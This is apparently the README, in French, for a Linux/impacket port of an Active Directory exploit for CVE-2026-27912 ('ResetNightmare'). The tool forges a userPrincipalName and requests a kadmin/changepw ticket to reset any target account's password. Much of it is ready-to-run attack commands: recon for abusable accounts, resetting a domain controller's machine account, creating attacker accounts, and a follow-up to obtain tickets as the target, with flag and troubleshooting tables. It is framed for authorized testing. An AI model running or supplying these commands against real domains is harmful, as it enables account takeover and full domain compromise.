
CVE-2026-27912 (ResetNightmare) — port Linux/impacket du PoC Invoke-ResetNightmare de Semperis Community
Outillage Linux / impacket pour CVE-2026-27912 (« ResetNightmare »). Réinitialise le mot de passe
d'un compte Active Directory cible en demandant un TGT kadmin/changepw pour un
principal NT_ENTERPRISE dont le nom est le sAMAccountName de la cible, en utilisant un
compte (UPNUser) sur lequel nous pouvons écrire un faux userPrincipalName.
Port Python de l'outil PowerShell Semperis Community Invoke-ResetNightmare
(voir Crédits).
Uniquement pour des tests de sécurité autorisés et un usage éducatif. Cet outil modifie de véritables identifiants Active Directory et peut verrouiller des comptes.
GenericAll, définir son mot de passe, l'activer.sAMAccountName de la cible.UPNUser.userPrincipalName = <targetSAN> (le faux UPN).NT_ENTERPRISE '<targetSAN>' pour kadmin/changepw — le KDC mappe
l'UPN d'entreprise vers la cible et émet un TGT de changement de mot de passe pour celle-ci.python3 -m venv venv
./venv/bin/pip install -r requirements.txt
Les identifiants de l'opérateur sont le premier argument positionnel : [domain/]username[:password].
Tout mot de passe peut être omis et il vous sera demandé de le saisir.
Recon — de quoi ce compte peut-il abuser ? Signale les comptes sur lesquels vous pouvez écrire un UPN, les UO dans lesquelles vous pouvez créer des objets, ainsi que la MachineAccountQuota, avec des commandes suggérées :
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
Réinitialiser une cible en utilisant un compte sur lequel vous pouvez écrire un UPN :
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Créer d'abord le compte UPN (nécessite le droit Create Child sur l'UO, et LDAPS) :
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Ajoutez -debug pour une journalisation détaillée des AS-REQ / LDAP / kpasswd.
Les mots de passe sont demandés de manière interactive lorsqu'ils sont omis.
Échecs de --create-new-path :
Notes :
unicodePwd que via TLS, donc
--create-new-path en a besoin. N'utilisez --no-ssl que pour les chemins en lecture seule ou limités à l'UPN.--find ne signale que les ACE allow accordées à vous ou à vos groupes (plus la propriété
d'objets et MachineAccountQuota) ; les ACE deny et les appartenances inter-domaines ne sont pas
entièrement évaluées. Un résultat vide ne prouve pas l'absence de chemin — vérifiez avant utilisation.L'outil affiche une commande de suivi pour obtenir un ticket utilisable en tant que cible :
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'
Invoke-ResetNightmare dont ce projet est un port.ldaptypes.Port communautaire indépendant ; ni affilié à ni approuvé par Semperis.
MIT © 2026 mihat2.
| Flag | Meaning |
|---|
<positional> | Identifiants de l'opérateur : [domain/]username[:password] |
--target-account | sAMAccountName à réinitialiser (les comptes d'ordinateur se terminent par $) |
--target-new-password | Nouveau mot de passe à définir sur la cible |
--upn-user | Compte sur lequel écrire le faux UPN (ou à créer avec --create-new-path) |
--upn-user-password | Mot de passe en clair de --upn-user |
--computer | Traiter --upn-user comme un compte d'ordinateur |
--create-new-path <DN> | UO/conteneur dans lequel créer --upn-user en premier (nécessite LDAPS) |
--find | Recon : signaler les comptes/UO exploitables + commandes suggérées, puis quitter |
--list-ous | Lister les UO/conteneurs et quitter (choisir un --create-new-path valide) |
--aes-key <hex> | Clé AES de --upn-user pour l'AS-REQ au lieu d'un mot de passe |
--upn-user-hash <NT> | Hash NT (ou LM:NT) de --upn-user pour l'AS-REQ au lieu d'un mot de passe |
-k, --kerberos | Bind LDAP Kerberos (SASL/GSSAPI) (utilise KRB5CCNAME) |
-H LM:NT | Bind LDAP pass-the-hash (NTLM) |
--no-pass | Ne pas demander de mot de passe (utiliser -k / KRB5CCNAME) |
--dc-host | Nom d'hôte/FQDN du DC (pour les SPN Kerberos) |
--dc-ip | Adresse IP du DC |
--no-ssl | LDAP/389 en clair (incompatible avec --create-new-path) |
--supported-encryption | Enctype préféré, informatif (défaut aes256) |
-debug | Journalisation détaillée |
| Symptôme | Cause | Solution |
|---|
result 50, insufficientAccessRights | L'UO existe mais vous n'avez pas le droit Create Child sur celle-ci. | Utilisez une UO sur laquelle vous pouvez écrire (--list-ous / --find), ou abandonnez --create-new-path et exploitez un compte existant via --upn-user. |
result 32, noSuchObject — best match: DC=corp,DC=local | La chaîne parente du DN n'existe pas (DN partiel ou deviné). | Énumérez avec --list-ous et collez le DN imbriqué complet. Les UO sont imbriquées ; un nom seul n'est pas son chemin. |
result 53, unwillingToPerform à l'étape du mot de passe | Écriture de unicodePwd sur un canal non-TLS, ou mot de passe faible par rapport à la stratégie. | Conservez LDAPS (ne passez pas --no-ssl) ; utilisez un mot de passe conforme. |